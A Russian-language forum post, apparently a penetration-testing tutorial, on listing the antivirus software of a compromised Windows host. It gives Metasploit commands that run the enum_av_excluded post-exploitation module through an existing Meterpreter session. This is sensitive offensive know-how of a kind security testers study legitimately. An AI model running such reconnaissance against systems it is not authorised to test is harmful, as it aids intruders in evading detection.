Информация об антивирусной защите.

Vander

Administrator
Gold Team
16.01.2016
1 079
2 764
#1
Привет! Любой тест на проникновение подразумевает под собой сбор как можно большего количества информации. В этой публикации я покажу, как собрать информацию об антивирусной защите целевого компьютера.

upload_2016-10-2_21-7-47.png

Для этого нам необходима активная сессия meterpreter на целевом хосте, как сделать это, можно узнать тут -> https://codeby.net/forum/threads/vzlom-udalennogo-pk-veil-evasion-metasploit.57819/

Переведем активную сессию в background.

upload_2016-10-2_21-8-16.png

Затем вводим следующие команды:
Код:
>  use post/windows/gather/enum_av_excluded
>  set lhost 192.168.0.108 (IP of Local Host)
>  set session 1
>  exploit
Вывод команды покажет нам используемое антивирусное обеспечение на целевом устройстве.

upload_2016-10-2_21-9-14.png